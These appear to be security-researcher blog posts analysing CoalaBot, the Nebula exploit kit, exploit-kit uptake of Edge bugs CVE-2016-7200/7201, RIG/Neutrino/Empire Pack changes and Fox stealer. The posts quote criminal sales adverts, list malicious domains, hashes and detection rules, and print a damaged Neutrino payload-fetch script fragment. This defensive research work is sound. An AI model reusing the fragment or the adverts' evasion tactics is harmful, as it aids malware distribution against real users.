CoalaBot: http Ddos Bot

By: Kafeine
16 October 2017 at 09:01

CoalaBot appears to be build on August Stealer code (Panel and Traffic are really alike)

I found it spread as a tasks in a Betabot and in an Andromeda spread via RIG fed by at least one HilltopAds malvertising.

2017-09-11: a witnessed infection chain to CoalaBot

A look inside :
CoalaBot: Login Screen
(August Stealer alike) 

CoalaBot: Statistics

CoalaBot: Bots

CoalaBot: Tasks
CoalaBot: Tasks

CoalaBot: New Taks (list)

CoalaBot: https get task details

CoalaBot: http post task details

CoalaBot: Settings
Here is the translated associated advert published on 2017-08-23 by a user going with nick : Discomrade.
(Thanks to Andrew Komarov and others who provided help here).
Coala Http Ddos Bot

The software focuses on L7 attacks (HTTP). Lower levels have more primitive attacks.

Attack types:

* - Supports SMART mode, i.e. bypasses Cloudflare/Blazingfast and similar services (but doesn’t bypass CAPTCHA). All types except ICMP/UDP have support for using SSL.

• .NET 2.0 x86 (100% working capacity WIN XP - WIN 7, on later versions ОС .NET 2.0 disabled by default)
• ~100kb after obfuscation
• Auto Backup (optional)
• Low CPU load for efficient use
• Encryption of incoming/outgoing traffic
• No installation on machines from former CIS countries(RU/UA/BL/KZ/...)
• Scan time non-FUD. Contact us if you need a recommendation for a good crypting service.
• Ability to link a build to more than one gate.

• Detailed statistics on time online/architecture/etc.
• List of bots, detailed information
• Number count of requests per second (total/for each bot)
• Creation of groups for attacks
• Auto sorting of bots by groups
• Creation of tasks, the ability to choose by group/country
• Setting an optional time for bots success rate


• Providing macros for randomization of sent data
• Support of .onion gate
• Ability to install an additional layer (BOT => LAYER => MAIN GATE)


• PHP 5.6 or higher
• Мodule for MySQLi(mysqli_nd); php-mbstring, php-json, php-mcrypt extensions


• Created tasks -


• $300 - build and panel. Up to 3 gates for one build.
• $20 - rebuild
The price can vary depending on updates.
Escrow service is welcome.

Help with installation is no charge.


VT link
MD5 f3862c311c67cb027a06d4272b680a3b
SHA1 0ff1584eec4fc5c72439d94e8cee922703c44049
SHA256 fd07ad13dbf9da3f7841bc0dbfd303dc18153ad36259d9c6db127b49fa01d08f

Emerging Threats rules :
2024531 || ET TROJAN MSIL/CoalaBot CnC Activity

Read More:
August in November: New Information Stealer Hits the Scene - 2016-12-07 - Proofpoint

Bye Empire, Hello Nebula Exploit Kit.

By: Kafeine
2 March 2017 at 21:17
Nebula Logo

While Empire (RIG-E) disappeared at the end of December after 4 months of activity

Illustration of  the last month of witnessed Activity for Empire
on 2017-02-17 an advert for a new exploit kit dubbed Nebula appeared underground.

Selling EK Nebula
Nebula Exploit kit

-Automatic domain scanning and generating (99% FUD)
-API rotator domains
-Exploit rate tested in different traffic go up 8/19%
-knock rate tested whit popular botnet go 30/70%
-Clean and modern user interface
-Custom domains & server ( add & point your own domains coming soon...)
-Unlimited flows & files
-Scan file & domains
-Multiple payload file types supported (exe , dll , js, vbs)
-Multi. geo flow (split loads by country & file)
-Remote file support ( check every 1 minute if file hash change ; if changed replace ) for automatic crypting
-Public stats by file & flow
-latest CVE-2016 CVE-2017
-custom features just ask support

24h - 100$
7d - 600$
31d - 2000$

Jabber - [email protected]

Offering free tests to trusted users 

In same thread some screenshots were shared by a customer.

Earlier that same day, colleagues at Trendmicro told me they were seeing activity from a group we are following under the name "GamiNook" (illustration coming later) in Japan redirecting traffic to a variation of Sundown.

"GamiNook" redirecting to a Sundown Variation in Japan - 2017-02-17
Payload : Pitou (6f9d71eebe319468927f74b93c820ce4 ) 

This Sundown variation was not so much different from the mainstream one.
No "index.php?" in the landing URI, different domain pattern but same landing, exploits, etc... Some payload sent in clear (01.php) other RC4 encoded (00.php) as for Sundown.

Digging more it appeared it was featuring an Internal TDS (as Empire). 
The same exact call would give you a different payload in France or in United Kingdom/Japan.
"GamiNook" traffic with geo in France - 2017-02-17
Identicall payload call gives you Gootkit instead of Pitou
Payload : Gootkit (48ae9a5d10085e5f6a1221cd1eedade6)
Note: to be sure that the payload difference is tied to Geo and not time based (rotation or operator changing it ) you need to make at least a third pass with first Geo and ensure dropped sample is identical as in first pass.

At that point you can only suspect this Sundown variant might be Nebula (even if clues are multiple, a funny one being that the traffic illustrated in the advert thread is quite inline with the one captured in France).

So I was naming that variation: Sundown-N. Intel shared by Frank Ruiz (FoxIT) on the 21st allowed me to know for sure this traffic was indeed Nebula.

The following days i saw other actor sending traffic to this EK.
Taxonomy tied to Nebula Activity in MISP - 2017-03-02
Taxonomy tied to GamiNook traffic activity, EK and resulting payload

Today URI pattern changed from this morning :


(which is Sundown/Beps without the index.php) to


(for those who would like to build their regexp, more pattern available here : )

2017-03-02 Nebula with its new pattern used here to drop Ramnit via Malvertising in NA - 2017-03-02

This landing pattern change triggered the publication of this post. Nebula might end up not being a "vapor" EK but let's wait and see. The only difference with Sundown till today was its internal TDS.

CVE-2014-6332 + CVE-2015-0016
CVE-2016-0189 godmode

Files:  Nebula_2017-03-02 (2 fiddler - password is malware)

Acknowledgement :
Thanks Joseph C Chen and Brooks Li (Trendmicro),  Frank Ruiz (Fox-IT InTELL) and Andrew Komarov ( InfoArmor Inc. ) for the help on different aspect of this post.

2017-03-03 Corrected some CVE id + not all payload are in clear
Some IOCs

2017/02/17f4627005c018071f8ec6b084eef3936e3a267660b0df99ffa0d27a8d943d1af5Flash Exploit (CVE-2016-4117)
2017/02/27be86dc88e6337f09999991c206f890e0d52959d41f2bb4c6515b5442b23f2eccFlash Exploit (CVE-2016-4117)
2017/02/1767d598c6acbd6545ab24bbd44cedcb825657746923f47473dc40d0d1f122abb6Flash Exploit (CVE-2015-7645 Sample seen previously in Sundown)
2017/02/1704fb00bdd3d2c0667b18402323fe7cf495ace5e35a4562e1a30e14b26384f41cFlash Exploit (CVE-2015-8651 Sample seen previously in Sundown)

2017/02/17tci.nhnph.com188.209.49.135Nebula Payload Domain
2017/02/22gnd.lplwp.com188.209.49.135Nebula Payload Domain
2017/02/24qcl.ylk8.xyz188.209.49.23Nebula Payload Domain
2017/02/28hmn.losssubwayquilt.pw93.190.141.166Nebula Payload Domain
2017/03/02qgg.losssubwayquilt.pw93.190.141.166Nebula Payload Domain

CVE-2016-7200 & CVE-2016-7201 (Edge) and Exploit Kits

By: Kafeine
6 January 2017 at 13:15

CVE-2016-7200 & CVE-2016-7201 are vulnerabilities in the Chakra JavaScript scripting engine in Microsoft Edge. Reported by Natalie Silvanovich of Google Project Zero, those have been fixed  in november 2016 (MS16-129) by Microsoft.

Note : No successful exploitation seen despite integration tries.

On 2017-01-04 @theori_io released a POC
Proof-of-Concept exploit for Edge bugs (CVE-2016-7200 & CVE-2016-7201) —
— Theori (@theori_io) 4 janvier 2017

providing again (cf CVE-2016-0189) ready-to-use code to Exploit Kit maintainer.

After not far from 6 months without new exploit integrated in an EK ecosystem which has lost its innovation locomotive (Angler) , the drive-by landscape is struggling to stay in shape. Low infection rate means more difficulties to properly convert bought traffic.

The exploits are spotted first in Sundown, but integration in RIG/Empire/Neutrino/Magnitude/Kaixin should be a matter of hours/days.

[edit : 2017-01-10]
​I have been told that with Win10 1607, Microsoft Edge has some quite strong mitigation: no WinExec, no CreateProcess, no ShellExecute, meaning every child process creation is blocked. The PoC might need a little more "magic powder" to work there.


Sundown EK firing CVE-2016-7200/7201 to Edge 2017-01-06
No exploitation here though
Fiddler: (password is malware)

Out of topic: expected payload in that infection chain was zloader. (other payload seen in past weeks dropped via Sundown : Zeus Panda, Neutrino Bot, Dreambot, Chthonic, Andromeda, Smokebot, Betabot, Remcos, IAP, RTM, Kronos, Bitcoin Miner)

Thanks to Trendmicro for the multiple inputs that allowed me to keep plugged to this infection chain.
So as explained previously Neutrino is now in full private mode and fueled via Malvertising bought to several ad agencies (e.g. ZeroPark, ClickAdu, PropellerAds, HillTopAds) by a Traffer actor which I tag as NeutrAds. Their infection chain is now accepting/redirecting Microsoft Edge Browser as well.
Without big surprise a new exploit is included in the Flash bundle : nw27 >  CVE-2016-7200/7201.

NeutrAds redirect is now  accepting Edge traffic - 2017-01-14

Neutrino Embedding CVE-2016-7200/7201 - 2017-01-14
(Neutrino-v flash ran into Maciej ‘s Neutrino decoder )

Extracted CVE-2016-7200/7201  elements - 2017-01-14

Note: i did not get infection with
- Edge 25.10586.0.0 / EdgeHTML 13.10586
- Edge 20.10240.16384.0

Fiddler&Pcap :  (Password is malware)
Extracted exploits: (Password is malware)

reveiled[.space| - NeutrAds Filtering Redirector
vfwdgpx.amentionq[.win| - Neutrino

Payload in that pass : Gootkit - b5567655caabb75af68f6ea33c7a22dbc1a6006ca427da6be0066c093f592610
Associated C2 :
buyyou[.org |

So those days, in Asia you'll most probably get Cerber and in EU/NA you'll most probably get Gootkit
MISP : taxonomy illustrating some NeutrAds into Neutrino-v recorded activity (and post infection)
2017-01-15 Finding by Simon Choi

CVE-2016-7200/7201 code fired by Kaixin - 2017-01-16
Fiddler : (Password is malware)

Out of topic: payload in another pass (not fired by this exploit) was Blackmoon/Banbra 6c919213b5318cdb60d67a4b4ace709dfb7e544982c0e101c8526eff067c8332


2016-11-10 - Adding information about mitigation on Edge
2016-11-14 - Adding Neutrino
2016-11-16 - Fixed the screenshot for Neutrino. Was stating CVE-2016-4117 was there. It's not
2016-11-16 - Adding Kaixin

Read More:
Three roads lead to Rome - Qihoo360 - 2016-11-29
Proof-of-Concept exploit for Edge bugs (CVE-2016-7200 & CVE-2016-7201) - Theori-io - 2017-01-04

RIG evolves, Neutrino waves goodbye, Empire Pack appears

By: Kafeine
2 October 2016 at 03:57

  Neutrino waves Goodbye

Around the middle of August many infection chains transitioned to RIG with more geo-focused bankers and less CryptXXX (CryptMic) Ransomware.

Picture 1: Select Drive-by landscape - Middle of August 2016 vs Middle of July 2016

RIG += internal TDS :

Trying to understand that move, I suspected and confirmed the presence of an internal TDS (Traffic Distribution System) inside RIG Exploit Kit [Edit 2016-10-08 : It seems this functionality is limited to Empire Pack version of RIG]
I believe this feature appeared in the EK market with Blackhole (if you are aware of a TDS integrated earlier directly in an EK please tell me)

Picture2: Blackhole - 2012 - Internal TDS illustration

but disappeared from the market with the end of Nuclear Pack

Picture3: Nuclear Pack - 2016-03-09 - Internal TDS illustration

and Angler EK

Picture 4 : Angler EK - Internal TDS illustration

This is a key feature for load seller. It is making their day to day work with traffic provider far easier .
It allows Exploit Kit operator to attach multiple payloads to a unique thread. The drop will be conditioned by Geo (and/or OS settings) of the victim.

Obviously you can achieve the same result with any other exploit kit…but things are a little more difficult. You have to create one Exploit Kit thread per payload, use an external TDS (like Keitaro/Sutra/BlackHat TDS/SimpleTDS/BossTDS, etc…) and from that TDS, point the traffic to the correct Exploit Kit thread (or, if you buy traffic, tell your traffic provider where to send traffic for each targeted country).

Picture 5: A Sutra TDS in action in 2012 - cf The path to infection

RIG += RC4 encryption, dll drop and CVE-2016-0189:

Around 2016-09-12 a variation of RIG (which i flag as RIG-v in my systems) appeared.
A slightly different landing obfuscation, RC4 encoding, Neutrino-ish behavioral and added CVE-2016-0189

Picture 6: RIG-v Neutrino-ish behavioral captured by Brad Spengler’s modified cuckoo

Picture 7: CVE-2016-0189 from RIG-v after 3 step de-obfuscation pass.

Neutrino waves goodbye ?

On 2016-09-09 on underground it has been reported a message on Jabber from the Neutrino seller account :
“we are closed. no new rents, no extends more”
This explains a lot. Here are some of my last Neutrino pass for past month.
Picture 8: Some Neutrino passes for past month and associated taxonomy tags in Misp

As you can see several actors were still using it…Now here is what i get for the past days :
Picture 9: Past days in DriveBy land
Not shown here, Magnitude is still around, mostly striking in Asia

Day after day, each of them transitioned to RIG or “RIG-v”. Around the 22nd of September 2016 the Neutrino advert and banner disappeared from underground.

Picture 10: Last banner for Neutrino as of 2016-09-16

Are we witnessing the end of Neutrino Exploit Kit ? To some degree. In fact it looks more like Neutrino is going in full “Private” mode “a la” Magnitude.
Side reminder : Neutrino disappeared from march 2014 till november 2014

A Neutrino Variant

Several weeks ago, Trendmicro (Thanks!!) made me aware of a malvertising chain they spotted in Korea and Taiwan involving Neutrino.

Picture 11: Neutrino-v pass on the 2016-09-21

Upon replay I noticed that this Neutrino was somewhat different. Smoother CVE-2016-4117, more randomization in the landing, slightly modified flash bundle of exploits

Picture 12: Neutrino-v flash ran into Maciej ‘s Neutrino decoder
Note the pnw26 with no associated binary data, the rubbish and additionalInfo

A Sample : 607f6c3795f6e0dedaa93a2df73e7e1192dcc7d73992cff337b895da3cba5523

Picture 13: Neutrino-v behavioral is a little different : drops name are not generated via the GetTempName api

 function k2(k) {
var y = a(e + "." + e + "Request.5.1");
y.setProxy(n);"GET", k(1), n);
y.Option(n) = k(2);
if (200 == y.status) return Rf(y.responseText, k(n))
Neutrino-v ensuring Wscript will use the default proxy (most often when a proxy is configured it’s only for WinINet , WinHTTP proxy is not set and Wscript will try to connect directly and fail)

I believe this Neutrino variant is in action in only one infection chain (If you think this is inaccurate, i’d love to hear about it)

Picture 14: Neutrino-v seems to be used by only one actor to spread Cerber 0079x
The actor behind this chain is the same as the one featured in the Malwarebytes Neutrino EK: more Flash trickery post.

Empire Pack:

Coincidentally a new Exploit Kit is being talked about underground : Empire Pack. Private, not advertised.

Picture 15: King of Loads - Empire Pack Panel

Some might feel this interface quite familiar…A look a the favicon will give you a hint

Picture 16: RIG EK favicon on Empire Pack panel

Picture 17: RIG Panel

It seems Empire Pack project was thought upon Angler EK disappearance and launched around the 14th of August 2016.
I think this launch could be related to the first wave of switch to RIG that occurred around that time. I think, Empire Pack is a RIG instance managed by a Reseller/Load Seller with strong underground connections.
RIG-v is a “vip” version of RIG. Now how exactly those three elements (RIG, RIG-v, Empire Pack) are overlapping, I don’t know. I am aware of 3 variants of the API to RIG
  • api.php : historical RIG
  • api3.php : RIG with internal TDS [ 2016-10-08 :  This is Empire Pack. Appears to be using also remote_api after this post went live. I flag it as RIG-E ]
  • remote_api.php : RIG-v
But Empire Pack might be api3, remote_api, or a bit of both of them.

By the way RIG has also (as Nuclear and Angler endup doing) added IP Whitelisting on API calls to avoid easy EK tracking from there.   :-" (Only whitelisted IP - from declared redirector or external TDS - can query the API to get the current landing)


Let’s just conclude this post with statistics pages of two Neutrino threads

Picture 18: Neutrino stats - Aus focused thread - 2016-07-15

Picture 19: Neutrino stats on 1 Million traffic - 2016-06-09

We will be known forever by the tracks we leave
Santee Sioux Tribe

Some IOCs

2016-10-01u0e1.wzpub4q7q[.]top185.117.73.80RIG-E (Empire Pack)
2016-10-01adspixel[.]site45.63.100.224NeutrAds Redirector


Thanks Malc0de, Joseph C Chen (Trendmicro), Will Metcalf ( EmergingThreat/Proofpoint) for their inputs and help on multiple aspect of this post.


2016-10-03 :
Removed limitation to KOR and TWN for Neutrino-v use by NeutrAds as Trendmicro informed me they are now seeing them in other Geos.
Added explanation about the IP whitelisting on RIG API (it was not clear)
2016-10-08 :
Updated with gained information on Empire Pack
2016-11-01 :
RIG standard is now also using the pattern introduces past week by RIG-v. It's now in version 4.

RIG panel
The only instance of RIG using old pattern is Empire Pack (which previously could be guessed by domains pattern)
2016-11-18 : Empire (RIG-E) is now using RC4 encoding as well. (still on old pattern and landing)

RIG-E Behavioral
RIG-v has increased filtering on IP ranges and added a pre-landing to filter out non IE traffic.

2016-12-03 RIG-v Pre-landing

Read More

RIG’s Facelift - 2016-09-30 - SpiderLabs
Is it the End of Angler ? - 2016-06-11
Neutrino : The come back ! (or Job314 the Alter EK) - 2014-11-01
Hello Neutrino ! - 2013-06-07
The path to infection - Eye glance at the first line of “Russian Underground” - 2012-12-05

Fox stealer: another Pony Fork

By: Kafeine
26 September 2016 at 11:12

Gift for SweetTail-Fox-mlp
 by Mad-N-Monstrous

Small data drop about another Pony fork : Fox stealer.
First sample of this malware I saw was at beginning of September 2016 thanks to Malc0de. After figuring out the panel name and to which advert it was tied we were referring to it as PonyForx.

Advert :
2016-08-11 - Sold underground by a user going with nickname "Cronbot"

Стилер паролей и нетолько - Fox v1.0

Мы выпускаем продукт на продажу. Уже проходит финальная стадия тестирования данного продукта.

О продукте : 
1. Умеет все что умеет пони. + добавлен новый софт.
2. Актуален на 2016 год.
3. Написан на С++ без дополнительных библиотек.
4. Админка от пони.

Условия : 
1. Только аренда.
2. Распространяется в виде EXE и DLL.
3. Исходники продавать не будем.

Аренда 250$ в месяц.
Исходники 2000$ разово.

----Translated by Jack Urban : ----

Password stealer and more - Fox v.1.0
We are releasing the product for general sale. Final stage of testing for this product is already underway.
About the product:
1. Is able to do everything that pony does. + new software has been added.
2. Relevant for 2016.
3. Written in C++ without additional libraries.
4. Admin from pony.
1. For rent only.
2. Distributed as an EXE and DLL.
3. We will not be selling the source.
Rent is $250 a month.
Originals are a 2000$ one time fee. 


It's being loaded (with Locky Affid 13) by the Godzilla from ScriptJS (aka AfraidGate) group .

MISP taxonomy tags reflecting ScriptJS activity in the last months
(note : it's not the first time this group is pushing a stealer, they were dropping Pony with their Necurs between August and December 2015 [1] )

2016-09-26 - ScriptJS infection chain into Neutrino into Godzilla loader into PonyForx and Locky Affid 13
Here we can see the browsing history of the VM being sent to PonyForx (Fox stealer) C2

Fox stealer (PonyForx) fingerprint in Cuckoo

Sample :
Associated C2:
Caught by ET rule :
2821590 || ETPRO TROJAN Win32.Pony Variant Checkin

[1] ScriptJS's Pony :
master.districtpomade[.]com| - 2015-08-15 Pony C2 from ScriptJS
​js.travelany[.]com[.]ve| - 2015-12-10 Pony C2 from ScriptJS

Read More : few bits about ScriptJS